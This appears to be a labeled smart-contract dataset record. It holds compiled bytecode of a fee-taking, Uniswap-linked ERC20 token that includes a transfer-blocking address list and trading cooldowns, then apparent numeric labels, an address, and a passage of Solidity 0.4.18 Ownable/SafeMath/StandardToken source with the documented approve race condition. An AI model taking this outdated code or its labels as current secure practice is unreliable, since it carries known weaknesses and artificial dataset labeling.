08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906139b3565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990613973565b60405180910390fd5b806015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610aca9190613a53565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b64611068565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be8906139b3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c8130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611070565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cc757600080fd5b505afa158015610cdb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cff91906133a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6157600080fd5b505afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9991906133a4565b6040518363ffffffff1660e01b8152600401610db6929190613803565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0891906133a4565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e913061064d565b600080610e9c6107f1565b426040518863ffffffff1660e01b8152600401610ebe96959493929190613855565b6060604051808303818588803b158015610ed757600080fd5b505af1158015610eeb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f10919061350f565b5050506001601360176101000a81548160ff0219169083151502179055506001601360186101000a81548160ff0219169083151502179055506001601360156101000a81548160ff0219169083151502179055506729a2241af62c0000601581905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161101292919061382c565b602060405180830381600087803b15801561102c57600080fd5b505af1158015611040573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106491906134bd565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790613a13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611150576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114790613933565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122e9190613a53565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a2906139f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561131b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611312906138f3565b60405180910390fd5b6000811161135e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611355906139d3565b60405180910390fd5b60006017549050600060145482101590508080156113895750601360169054906101000a900460ff16155b80156113e35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156114125760145491506113f682612586565b61140b8260175461265e90919063ffffffff16565b6017819055505b61141a6107f1565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561148857506114586107f1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ffa57601360189054906101000a900460ff16156116bb573073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561150a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115be5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116ba57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611604611068565b73ffffffffffffffffffffffffffffffffffffffff16148061167a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611662611068565b73ffffffffffffffffffffffffffffffffffffffff16145b6116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613a33565b60405180910390fd5b5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561175f5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61176857600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156118135750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118695750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118815750601360189054906101000a900460ff165b1561195a57601360149054906101000a900460ff1661189f57600080fd5b6015548311156118ae57600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118f957600080fd5b601e426119069190613b7d565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b6016549150601360169054906101000a900460ff161580156119ca5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156119e25750601360179054906101000a900460ff165b15611ff957611a396103e8611a2b6019611a1d601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b6126a890919063ffffffff16565b61272390919063ffffffff16565b8311158015611a4a57506015548311155b611a5357600080fd5b42600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a9e57600080fd5b42617080600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aec9190613b7d565b1015611b38576000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611c6f57600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611bd090613d2c565b919050555042600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611c279190613b7d565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f86565b6001600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611d6257600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d0790613d2c565b9190505550611c2042611d1a9190613b7d565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f85565b6002600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611e5557600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611dfa90613d2c565b919050555061384042611e0d9190613b7d565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f84565b6003600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f8357600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611eed90613d2c565b9190505550617080600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3f9190613b7d565b600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f8f8261228c565b600060168190555060004790506000811115611faf57611fae47612123565b5b611ff7600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276d565b505b5b600060019050600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120a15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120ab57600090505b6120b786868684612796565b505050505050565b6000838311158290612107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fe91906138d1565b60405180910390fd5b50600083856121169190613c5e565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61217360028461272390919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561219e573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121ef60028461272390919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561221a573d6000803e3d6000fd5b5050565b6000600654821115612265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225c90613913565b60405180910390fd5b600061226f6127dd565b9050612284818461272390919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122ea577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156123185781602001602082028036833780820191505090505b5090503081600081518110612356577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123f857600080fd5b505afa15801561240c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061243091906133a4565b8160018151811061246a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124d130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611070565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612535959493929190613a6e565b600060405180830381600087803b15801561254f57600080fd5b505af1158015612563573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6001601360166101000a81548160ff02191690831515021790555060006125b760028361272390919063ffffffff16565b905060006125ce828461265e90919063ffffffff16565b905060004790506125de83612808565b60006125f3824761265e90919063ffffffff16565b90506125ff8382612acc565b7f93efcf28fbf701a930e0ad258987a2e4f08eb3aa99f9c02029e7ba049f69405f848285886040516126349493929190613ac8565b60405180910390a1505050506000601360166101000a81548160ff02191690831515021790555050565b60006126a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120bf565b905092915050565b6000808314156126bb576000905061271d565b600082846126c99190613c04565b90508284826126d89190613bd3565b14612718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270f90613993565b60405180910390fd5b809150505b92915050565b600061276583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bc0565b905092915050565b8060085461277b9190613c04565b600881905550600181111561279357600a6009819055505b50565b806127a4576127a3612c23565b5b6127af848484612c6a565b806127bd576127bc6127c3565b5b50505050565b600360088190555060056009819055506002600a81905550565b60008060006127ea612e43565b91509150612801818361272390919063ffffffff16565b9250505090565b6000600267ffffffffffffffff81111561284b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156128795781602001602082028036833780820191505090505b50905030816000815181106128b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561295957600080fd5b505afa15801561296d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061299191906133a4565b816001815181106129cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a3230601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611070565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a96959493929190613a6e565b600060405180830381600087803b158015612ab057600080fd5b505af1158015612ac4573d6000803e3d6000fd5b505050505050565b612af930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611070565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080612b456107f1565b426040518863ffffffff1660e01b8152600401612b6796959493929190613855565b6060604051808303818588803b158015612b8057600080fd5b505af1158015612b94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612bb9919061350f565b5050505050565b60008083118290612c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfe91906138d1565b60405180910390fd5b5060008385612c169190613bd3565b9050809150509392505050565b6000600854148015612c3757506000600954145b8015612c4557506000600a54145b15612c4f57612c68565b600060088190555060006009819055506000600a819055505b565b6000806000806000806000612c7e88612ea5565b9650965096509650965096509650612cde87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265e90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d7386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f2190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dbf82612f7f565b612dc881613057565b612dd2858461312f565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612e2f9190613a53565b60405180910390a350505050505050505050565b600080600060065490506000683635c9adc5dea000009050612e79683635c9adc5dea0000060065461272390919063ffffffff16565b821015612e9857600654683635c9adc5dea00000935093505050612ea1565b81819350935050505b9091565b600080600080600080600080889050600080600080612ecc85600854600954600a54613169565b93509350935093506000612ede6127dd565b90506000806000612ef28988888888613249565b9250925092508282828a8a8a8a9f509f509f509f509f509f509f50505050505050505050919395979092949650565b6000808284612f309190613b7d565b905083811015612f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f6c90613953565b60405180910390fd5b8091505092915050565b6000612f896127dd565b90506000612fa082846126a890919063ffffffff16565b9050612fb781601654612f2190919063ffffffff16565b60168190555061300f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f2190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60006130616127dd565b9050600061307882846126a890919063ffffffff16565b905061308f81601754612f2190919063ffffffff16565b6017819055506130e781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f2190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6131448260065461265e90919063ffffffff16565b60068190555061315f81600754612f2190919063ffffffff16565b6007819055505050565b6000806000806000889050600061319c606461318e8b856126a890919063ffffffff16565b61272390919063ffffffff16565b905060006131c660646131b88b866126a890919063ffffffff16565b61272390919063ffffffff16565b905060006131f060646131e28b876126a890919063ffffffff16565b61272390919063ffffffff16565b9050600061322b8261321d8561320f888a61265e90919063ffffffff16565b61265e90919063ffffffff16565b61265e90919063ffffffff16565b90508084848498509850985098505050505050945094509450949050565b600080600080613262858a6126a890919063ffffffff16565b90506000613279868a6126a890919063ffffffff16565b90506000613290878a6126a890919063ffffffff16565b905060006132a7888a6126a890919063ffffffff16565b905060006132e2826132d4856132c6888a61265e90919063ffffffff16565b61265e90919063ffffffff16565b61265e90919063ffffffff16565b90508481859750975097505050505050955095509592505050565b60008135905061330c816140b1565b92915050565b600081519050613321816140b1565b92915050565b600081359050613336816140c8565b92915050565b60008151905061334b816140c8565b92915050565b600081359050613360816140df565b92915050565b600081519050613375816140df565b92915050565b60006020828403121561338d57600080fd5b600061339b848285016132fd565b91505092915050565b6000602082840312156133b657600080fd5b60006133c484828501613312565b91505092915050565b600080604083850312156133e057600080fd5b60006133ee858286016132fd565b92505060206133ff858286016132fd565b9150509250929050565b60008060006060848603121561341e57600080fd5b600061342c868287016132fd565b935050602061343d868287016132fd565b925050604061344e86828701613351565b9150509250925092565b6000806040838503121561346b57600080fd5b6000613479858286016132fd565b925050602061348a85828601613351565b9150509250929050565b6000602082840312156134a657600080fd5b60006134b484828501613327565b91505092915050565b6000602082840312156134cf57600080fd5b60006134dd8482850161333c565b91505092915050565b6000602082840312156134f857600080fd5b600061350684828501613351565b91505092915050565b60008060006060848603121561352457600080fd5b600061353286828701613366565b935050602061354386828701613366565b925050604061355486828701613366565b9150509250925092565b600061356a8383613576565b60208301905092915050565b61357f81613c92565b82525050565b61358e81613c92565b82525050565b600061359f82613b38565b6135a98185613b5b565b93506135b483613b28565b8060005b838110156135e55781516135cc888261355e565b97506135d783613b4e565b9250506001810190506135b8565b5085935050505092915050565b6135fb81613ca4565b82525050565b61360a81613ce7565b82525050565b600061361b82613b43565b6136258185613b6c565b9350613635818560208601613cf9565b61363e81613dd3565b840191505092915050565b6000613656602383613b6c565b915061366182613de4565b604082019050919050565b6000613679602a83613b6c565b915061368482613e33565b604082019050919050565b600061369c602283613b6c565b91506136a782613e82565b604082019050919050565b60006136bf601b83613b6c565b91506136ca82613ed1565b602082019050919050565b60006136e2601d83613b6c565b91506136ed82613efa565b602082019050919050565b6000613705602183613b6c565b915061371082613f23565b604082019050919050565b6000613728602083613b6c565b915061373382613f72565b602082019050919050565b600061374b602983613b6c565b915061375682613f9b565b604082019050919050565b600061376e602583613b6c565b915061377982613fea565b604082019050919050565b6000613791602483613b6c565b915061379c82614039565b604082019050919050565b60006137b4601183613b6c565b91506137bf82614088565b602082019050919050565b6137d381613cd0565b82525050565b6137e281613cda565b82525050565b60006020820190506137fd6000830184613585565b92915050565b60006040820190506138186000830185613585565b6138256020830184613585565b9392505050565b60006040820190506138416000830185613585565b61384e60208301846137ca565b9392505050565b600060c08201905061386a6000830189613585565b61387760208301886137ca565b6138846040830187613601565b6138916060830186613601565b61389e6080830185613585565b6138ab60a08301846137ca565b979650505050505050565b60006020820190506138cb60008301846135f2565b92915050565b600060208201905081810360008301526138eb8184613610565b905092915050565b6000602082019050818103600083015261390c81613649565b9050919050565b6000602082019050818103600083015261392c8161366c565b9050919050565b6000602082019050818103600083015261394c8161368f565b9050919050565b6000602082019050818103600083015261396c816136b2565b9050919050565b6000602082019050818103600083015261398c816136d5565b9050919050565b600060208201905081810360008301526139ac816136f8565b9050919050565b600060208201905081810360008301526139cc8161371b565b9050919050565b600060208201905081810360008301526139ec8161373e565b9050919050565b60006020820190508181036000830152613a0c81613761565b9050919050565b60006020820190508181036000830152613a2c81613784565b9050919050565b60006020820190508181036000830152613a4c816137a7565b9050919050565b6000602082019050613a6860008301846137ca565b92915050565b600060a082019050613a8360008301886137ca565b613a906020830187613601565b8181036040830152613aa28186613594565b9050613ab16060830185613585565b613abe60808301846137ca565b9695505050505050565b6000608082019050613add60008301876137ca565b613aea60208301866137ca565b613af760408301856137ca565b613b0460608301846137ca565b95945050505050565b6000602082019050613b2260008301846137d9565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613b8882613cd0565b9150613b9383613cd0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613bc857613bc7613d75565b5b828201905092915050565b6000613bde82613cd0565b9150613be983613cd0565b925082613bf957613bf8613da4565b5b828204905092915050565b6000613c0f82613cd0565b9150613c1a83613cd0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c5357613c52613d75565b5b828202905092915050565b6000613c6982613cd0565b9150613c7483613cd0565b925082821015613c8757613c86613d75565b5b828203905092915050565b6000613c9d82613cb0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613cf282613cd0565b9050919050565b60005b83811015613d17578082015181840152602081019050613cfc565b83811115613d26576000848401525b50505050565b6000613d3782613cd0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d6a57613d69613d75565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6140ba81613c92565b81146140c557600080fd5b50565b6140d181613ca4565b81146140dc57600080fd5b50565b6140e881613cd0565b81146140f357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206881d3d220634df2a99459b3fa1aded29b5c81d0ad33efff7073d87529538e3064736f6c63430008040033
[ 13, 0, 5, 11 ]
0xf2ebc3b384464c08357e7bdf10c8e517f3ddb473
pragma solidity ^0.4.18; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * 